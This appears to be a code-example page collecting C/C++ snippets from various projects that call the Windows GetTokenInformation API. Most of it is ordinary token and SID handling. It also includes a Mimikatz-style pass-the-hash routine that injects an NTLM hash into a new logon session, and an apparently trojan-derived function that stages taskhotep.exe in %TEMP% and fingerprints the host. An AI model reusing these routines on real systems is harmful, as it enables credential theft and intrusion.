C++ GetTokenInformation函数代码示例

CString GetCacheID()
{
	CString t;
	CAutoGeneralHandle token;
	BOOL result = OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, token.GetPointer());
	if(result)
	{
		DWORD len = 0;
		GetTokenInformation(token, TokenStatistics, NULL, 0, &len);
		if (len >= sizeof (TOKEN_STATISTICS))
		{
			std::unique_ptr<BYTE[]> data (new BYTE[len]);
			GetTokenInformation(token, TokenStatistics, data.get(), len, &len);
			LUID uid = ((PTOKEN_STATISTICS)data.get())->AuthenticationId;
			t.Format(_T("-%08x%08x"), uid.HighPart, uid.LowPart);
		}
	}
	return t;
}

int InitUserSid(BOOL fDiagnostic, BPRINT_BUFFER *pbp)
{
   int err = 0;
   if ( ! ls.UserSid)
      {
      LPVOID pvInfo = NULL;
      DWORD cbSize = 0;
      if ( ! GetTokenInformation(ls.hToken, TokenUser,  NULL, 0, &cbSize))
         {
         err = GetLastError();
         if (ERROR_INSUFFICIENT_BUFFER == err)
            {
            err = 0;
            pvInfo = LocalAlloc(LPTR, cbSize);
            if ( ! pvInfo)
               {
               err = ERROR_OUTOFMEMORY;
               }
            else if ( ! GetTokenInformation(ls.hToken, TokenUser,  pvInfo, cbSize, &cbSize))
               {
               err = GetLastError();
               ReportError(err, "GetTokenInformation(TokenUser)");
               }
            else
               {
               err = 0;
               const TOKEN_USER * pUser = (const TOKEN_USER *)pvInfo;
               ls.UserSid = pUser->User.Sid;
               if (fDiagnostic)
                  {
                  bprintf(*pbp, TEXT("Got User Sid "));
                  PrintSidName(ls.UserSid, *pbp);
                  bprint_Sep(*pbp, ' ');
                  PrintSidText(ls.UserSid, *pbp);
                  bprint_EndLine(*pbp);
                  }
               }
            }
         }
      }

   return err;
}

/* function 'zbx_get_process_username' require 'userName' with size 'MAX_NAME' */
static int	zbx_get_process_username(HANDLE hProcess, char *userName)
{
	HANDLE		tok;
	TOKEN_USER	*ptu = NULL;
	DWORD		sz = 0, nlen, dlen;
	wchar_t		name[MAX_NAME], dom[MAX_NAME];
	int		iUse, res = FAIL;

	/* clean result; */
	*userName = '\0';

	/* open the processes token */
	if (0 == OpenProcessToken(hProcess, TOKEN_QUERY, &tok))
		return res;

	/* Get required buffer size and allocate the TOKEN_USER buffer */
	if (0 == GetTokenInformation(tok, (TOKEN_INFORMATION_CLASS)1, (LPVOID)ptu, 0, &sz))
	{
		if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
			goto lbl_err;
		ptu = (PTOKEN_USER)zbx_malloc(ptu, sz);
	}

	/* Get the token user information from the access token. */
	if (0 == GetTokenInformation(tok, (TOKEN_INFORMATION_CLASS)1, (LPVOID)ptu, sz, &sz))
		goto lbl_err;

	/* get the account/domain name of the SID */
	nlen = MAX_NAME;
	dlen = MAX_NAME;
	if (0 == LookupAccountSid(NULL, ptu->User.Sid, name, &nlen, dom, &dlen, (PSID_NAME_USE)&iUse))
		goto lbl_err;

	zbx_unicode_to_utf8_static(name, userName, MAX_NAME);

	res = SUCCEED;
lbl_err:
	zbx_free(ptu);

	CloseHandle(tok);

	return res;
}

/* http://www.dotnet247.com/247reference/msgs/39/195403.aspx
// internal static string[] WindowsIdentity._GetRoles (IntPtr token)
*/
MonoArray*
ves_icall_System_Security_Principal_WindowsIdentity_GetRoles (gpointer token)
{
    MonoArray *array = NULL;
    MonoDomain *domain = mono_domain_get ();
#ifdef HOST_WIN32
    gint32 size = 0;

    MONO_ARCH_SAVE_REGS;

    GetTokenInformation (token, TokenGroups, NULL, size, (PDWORD)&size);
    if (size > 0) {
        TOKEN_GROUPS *tg = g_malloc0 (size);
        if (GetTokenInformation (token, TokenGroups, tg, size, (PDWORD)&size)) {
            int i=0;
            int num = tg->GroupCount;

            array = mono_array_new (domain, mono_get_string_class (), num);

            for (i=0; i < num; i++) {
                gint32 size = 0;
                gunichar2 *uniname = GetSidName (NULL, tg->Groups [i].Sid, &size);

                if (uniname) {
                    MonoString *str = mono_string_new_utf16 (domain, uniname, size);
                    mono_array_setref (array, i, str);
                    g_free (uniname);
                }
            }
        }
        g_free (tg);
    }
#else
    /* POSIX-compliant systems should use IsMemberOfGroupId or IsMemberOfGroupName */
    g_warning ("WindowsIdentity._GetRoles should never be called on POSIX");
#endif
    if (!array) {
        /* return empty array of string, i.e. string [0] */
        array = mono_array_new (domain, mono_get_string_class (), 0);
    }
    return array;
}

// checks user SID in both tokens for equality
bool SecurityHelper::IsSameUser(HANDLE hToken1, HANDLE hToken2, bool* pbIsSameUser)
{
    *pbIsSameUser = false;
    bool result = false;

    const DWORD bufSize = sizeof(TOKEN_USER) + SECURITY_MAX_SID_SIZE;
    char buf1[bufSize];
    char buf2[bufSize];

    DWORD cb;
    if (GetTokenInformation(hToken1, TokenUser, buf1, bufSize, &cb) &&
        GetTokenInformation(hToken2, TokenUser, buf2, bufSize, &cb))
	{
        *pbIsSameUser = EqualSid(((TOKEN_USER*)buf1)->User.Sid, ((TOKEN_USER*)buf2)->User.Sid) ? true : false;
        result = true;
    }
    else LCF1(L"GetTokenInformation failed: %d", GetLastError());

    return result;
}

BOOL kull_m_token_getNameDomainFromToken(HANDLE hToken, PWSTR * pName, PWSTR * pDomain, PWSTR * pSid, PSID_NAME_USE pSidNameUse)
{
	BOOL result = FALSE;
	PTOKEN_USER pTokenUser;
	DWORD szNeeded;

	if(!GetTokenInformation(hToken, TokenUser, NULL, 0, &szNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER))
	{
		if(pTokenUser = (PTOKEN_USER) LocalAlloc(LPTR, szNeeded))
		{
			if(GetTokenInformation(hToken, TokenUser, pTokenUser, szNeeded, &szNeeded))
			{
				if((result = kull_m_token_getNameDomainFromSID(pTokenUser->User.Sid, pName, pDomain, pSidNameUse, NULL)) && pSid)
					result = ConvertSidToStringSid(pTokenUser->User.Sid, pSid);
			}
			LocalFree(pTokenUser);
		}
	}
	return result;
}

std::vector<unsigned char> GetTokenInfo(HANDLE hToken, TOKEN_INFORMATION_CLASS tokenClass)
{
	std::vector<unsigned char> ret;
	DWORD cbTokenInfo;	

	if (!GetTokenInformation(hToken, tokenClass, nullptr, 0, &cbTokenInfo))
	{
		if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
		{
			ret.resize(cbTokenInfo);			

			if (!GetTokenInformation(hToken, tokenClass, &ret[0], (DWORD)ret.size(), &cbTokenInfo))
			{	
				ret.clear();
			}
		}
	}

	return ret;
}

NTSTATUS kuhl_m_sekurlsa_msv_pth(int argc, wchar_t * argv[])
{
	BYTE ntlm[LM_NTLM_HASH_LENGTH] = {0};
	TOKEN_STATISTICS tokenStats;
	MSV1_0_PTH_DATA data = {&(tokenStats.AuthenticationId), NULL, NULL, ntlm, FALSE};
	PCWCHAR szRun, szNTLM, pFakeUserName, pFakeLogonDomain;
	DWORD i, j, dwNeededSize;
	HANDLE hToken;
	PROCESS_INFORMATION processInfos;

	if(pFakeUserName = kuhl_m_sekurlsa_msv_pth_makefakestring(argc, argv, L"user", &data.UserName))
	{
		if(pFakeLogonDomain = kuhl_m_sekurlsa_msv_pth_makefakestring(argc, argv, L"domain", &data.LogonDomain))
		{
			if(kull_m_string_args_byName(argc, argv, L"ntlm", &szNTLM, NULL))
			{
				kull_m_string_args_byName(argc, argv, L"run", &szRun, L"cmd.exe");
				if(wcslen(szNTLM) == (LM_NTLM_HASH_LENGTH * 2))
				{
					for(i = 0; i < LM_NTLM_HASH_LENGTH; i++)
					{
						swscanf_s(&szNTLM[i*2], L"%02x", &j);
						ntlm[i] = (BYTE) j;
					}
					kprintf(L"NTLM\t: "); kull_m_string_wprintf_hex(data.NtlmHash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
					kprintf(L"Program\t: %s\n", szRun);
					if(kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, pFakeUserName, pFakeLogonDomain, L"", &processInfos, FALSE))
					{
						kprintf(
							L"  |  PID  %u\n"
							L"  |  TID  %u\n",
							processInfos.dwProcessId, processInfos.dwThreadId);
						if(OpenProcessToken(processInfos.hProcess, TOKEN_READ, &hToken))
						{
							if(GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwNeededSize))
							{
								kprintf(L"  |  LUID %u ; %u (%08x:%08x)\n", tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart, tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart);
								kprintf(L"  \\_ ");
								kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_msv_pth, &data);
							} else PRINT_ERROR_AUTO(L"GetTokenInformation");
							CloseHandle(hToken);
						} else PRINT_ERROR_AUTO(L"OpenProcessToken");
						NtResumeProcess(processInfos.hProcess);
						CloseHandle(processInfos.hThread);
						CloseHandle(processInfos.hProcess);
					} else PRINT_ERROR_AUTO(L"CreateProcessWithLogonW");
				} else PRINT_ERROR(L"ntlm hash length must be 32 (16 bytes)\n");
			} else PRINT_ERROR(L"Missing argument : ntlm\n");
			LocalFree((HLOCAL) pFakeLogonDomain);
		}
		LocalFree((HLOCAL) pFakeUserName);
	}
	return STATUS_SUCCESS;
}

NTSTATUS FspToolGetTokenInfo(HANDLE Token,
    TOKEN_INFORMATION_CLASS TokenInformationClass, PVOID *PInfo)
{
    PVOID Info = 0;
    DWORD Size;
    NTSTATUS Result;

    if (GetTokenInformation(Token, TokenInformationClass, 0, 0, &Size))
    {
        Result = STATUS_INVALID_PARAMETER;
        goto exit;
    }

    if (ERROR_INSUFFICIENT_BUFFER != GetLastError())
    {
        Result = FspNtStatusFromWin32(GetLastError());
        goto exit;
    }

    Info = MemAlloc(Size);
    if (0 == Info)
    {
        Result = STATUS_INSUFFICIENT_RESOURCES;
        goto exit;
    }

    if (!GetTokenInformation(Token, TokenInformationClass, Info, Size, &Size))
    {
        Result = FspNtStatusFromWin32(GetLastError());
        goto exit;
    }

    *PInfo = Info;
    Result = STATUS_SUCCESS;

exit:
    if (!NT_SUCCESS(Result))
        MemFree(Info);

    return Result;
}

MonoString*
ves_icall_System_Security_Principal_WindowsIdentity_GetTokenName (gpointer token)
{
    MonoString *result = NULL;
    gunichar2 *uniname = NULL;
    gint32 size = 0;

#ifdef HOST_WIN32
    MONO_ARCH_SAVE_REGS;

    GetTokenInformation (token, TokenUser, NULL, size, (PDWORD)&size);
    if (size > 0) {
        TOKEN_USER *tu = g_malloc0 (size);
        if (GetTokenInformation (token, TokenUser, tu, size, (PDWORD)&size)) {
            uniname = GetSidName (NULL, tu->User.Sid, &size);
        }
        g_free (tu);
    }
#else
    gchar *uname = GetTokenName ((uid_t) GPOINTER_TO_INT (token));

    MONO_ARCH_SAVE_REGS;

    if (uname) {
        size = strlen (uname);
        uniname = g_utf8_to_utf16 (uname, size, NULL, NULL, NULL);
        g_free (uname);
    }
#endif /* HOST_WIN32 */

    if (size > 0) {
        result = mono_string_new_utf16 (mono_domain_get (), uniname, size);
    }
    else
        result = mono_string_new (mono_domain_get (), "");

    if (uniname)
        g_free (uniname);

    return result;
}

LPVOID RetrieveTokenInformation(HANDLE hToken,
	TOKEN_INFORMATION_CLASS infoClass,
	DWORD& rSize)
{
	assert(hToken);
	LPVOID pInfo = NULL;
	GetTokenInformation(hToken, infoClass, NULL, 0, &rSize);
	if (rSize == 0)
	{
		DOLOG("GetTokenInformation GetSize Failed!");
		return NULL;
	}
	pInfo = malloc(rSize);

	if (TRUE != GetTokenInformation(hToken, infoClass, pInfo, rSize, &rSize))
	{
		DOLOG("GetTokenInformation Failed!");
		return NULL;
	}
	return pInfo;
}

BOOL FakeStartupIsDone(void)
{
    OSVERSIONINFO osv;
    TOKEN_STATISTICS tst;
    DWORD osz;
    HANDLE hToken;
    HKEY hk;
    TCHAR sinfo[MAX_PATH];

    osv.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    GetVersionEx(&osv);

    if (osv.dwPlatformId != VER_PLATFORM_WIN32_NT)
    {
        OutputDebugString(_T("FakeStartupIsDone::No Need"));
        return TRUE;
    }

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
    {
        OutputDebugString(_T("FakeStartupIsDone::OpenProcessToken"));
        return FALSE;
    }

    if (!GetTokenInformation(hToken, TokenStatistics, &tst, sizeof(TOKEN_STATISTICS), &osz))
    {
        CloseHandle(hToken);
        OutputDebugString(_T("FakeStartupIsDone::GetTokenInformation"));
        return FALSE;
    }

    CloseHandle(hToken);

    _sntprintf(sinfo, MAX_PATH - 1, _T("%s\\%08x%08x"), SESSIONINFOKEY, tst.AuthenticationId.HighPart, tst.AuthenticationId.LowPart);
    sinfo[MAX_PATH - 1] = 0;

    if (RegCreateKeyEx(HKEY_CURRENT_USER, sinfo, 0, NULL, REG_OPTION_VOLATILE, MAXIMUM_ALLOWED, NULL, &hk, NULL))
    {
        OutputDebugString(_T("FakeStartupIsDone::RegCreateKeyExA SessionInfo"));
        return FALSE;
    }

    if (RegCreateKeyEx(hk, _T("StartupHasBeenRun"), 0, NULL, REG_OPTION_VOLATILE, KEY_WRITE, NULL, &hk, NULL))
    {
        OutputDebugString(_T("FakeStartupIsDone::RegCreateKeyExA StartupHasBeenRun"));
        RegCloseKey(hk);
        return FALSE;
    }

    RegCloseKey(hk);
    return TRUE;
}

void OsSysInfo(void)
{
	computerName.resize(MAX_COMPUTERNAME_LENGTH + 1);
	GetComputerName((char*) computerName.c_str (), &dwSiz);

	userName.resize(1024); 
	dwSiz=1024;
	if(GetUserName ((char*)userName.c_str (), &dwSiz))
		deb("username: %s computername: %s", userName.c_str (), computerName.c_str ());

	ini.set("host", "computername", computerName.c_str());
	ini.set("host", "username", userName.c_str());

	szPaths.resize(MAX_PATH); 
	ExpandEnvironmentStringsA("%TEMP%", (char*) szPaths.c_str(),
		szPaths.size());
	szTempPath = szPaths;
	strcat((char*) szPaths.c_str(), "\\taskhotep.exe");

	strncpy(szTroyPath, szPaths.c_str(), MAX_PATH);

	GetSystemInfo(&systemInfo);
	deb("machine: %d cores: %d level: %d rev: %x", systemInfo.wProcessorArchitecture, 
		systemInfo.dwNumberOfProcessors,systemInfo.wProcessorLevel,
		systemInfo.wProcessorRevision);

	MEMORYSTATUSEX msx;

	msx.dwLength = sizeof(msx);
	GlobalMemoryStatusEx(&msx);
	deb("memused: %lu%% total: %I64dMB avail: %I64dMB", 
		msx.dwMemoryLoad,msx.ullTotalPhys/1024/1024,
		msx.ullAvailPhys/1024/1024);
	//hexdump((char*)&msx,msx.dwLength);

	DWORD dwTemp;
	TOKEN_ELEVATION_TYPE elevType ;
	HANDLE hToken;
	BOOL bOK = OpenProcessToken(GetCurrentProcess(), TOKEN_READ, &hToken);
	DWORD infoLen;
	bOK = GetTokenInformation(hToken, 
		TokenElevationType,     // type of info to retrieve
		&dwTemp,         // receives return value
		sizeof(dwTemp), 
		&infoLen);              // receives returned length
	deb("TokenElevationType: %d", dwTemp);
	CloseHandle(hToken);

	szHostMD5 = (char*)MD5DigestString(userName+computerName).c_str ();

	deb("host MD5 [%s]", szHostMD5.c_str());
}

static BOOL ObtainLockPagesPrivilege() {
    HANDLE token;
    PTOKEN_USER user = NULL;

    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token) == TRUE) {
        DWORD size = 0;

        GetTokenInformation(token, TokenUser, NULL, 0, &size);
        if (size) {
            user = (PTOKEN_USER) LocalAlloc(LPTR, size);
        }

        GetTokenInformation(token, TokenUser, user, size, &size);
        CloseHandle(token);
    }

    if (!user) {
        return FALSE;
    }

    LSA_HANDLE handle;
    LSA_OBJECT_ATTRIBUTES attributes;
    ZeroMemory(&attributes, sizeof(attributes));

    BOOL result = FALSE;
    if (LsaOpenPolicy(NULL, &attributes, POLICY_ALL_ACCESS, &handle) == 0) {
        LSA_UNICODE_STRING str = StringToLsaUnicodeString(_T(SE_LOCK_MEMORY_NAME));

        if (LsaAddAccountRights(handle, user->User.Sid, &str, 1) == 0) {
            LOG_NOTICE("Huge pages support was successfully enabled, but reboot required to use it");
            result = TRUE;
        }

        LsaClose(handle);
    }

    LocalFree(user);
    return result;
}

HRESULT COpcSecurity::GetCurrentUserSID(PSID *ppSid)
{
	HANDLE tkHandle;

	if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &tkHandle))
	{
		TOKEN_USER *tkUser;
		DWORD tkSize;
		DWORD sidLength;

		// Call to get size information for alloc
		GetTokenInformation(tkHandle, TokenUser, NULL, 0, &tkSize);
		tkUser = (TOKEN_USER *) malloc(tkSize);
		if (tkUser == NULL)
			return E_OUTOFMEMORY;

		// Now make the real call
		if (GetTokenInformation(tkHandle, TokenUser, tkUser, tkSize, &tkSize))
		{
			sidLength = GetLengthSid(tkUser->User.Sid);
			*ppSid = (PSID) malloc(sidLength);
			if (*ppSid == NULL)
				return E_OUTOFMEMORY;

			memcpy(*ppSid, tkUser->User.Sid, sidLength);
			CloseHandle(tkHandle);

			free(tkUser);
			return S_OK;
		}
		else
		{
			free(tkUser);
			return HRESULT_FROM_WIN32(GetLastError());
		}
	}
	return HRESULT_FROM_WIN32(GetLastError());
}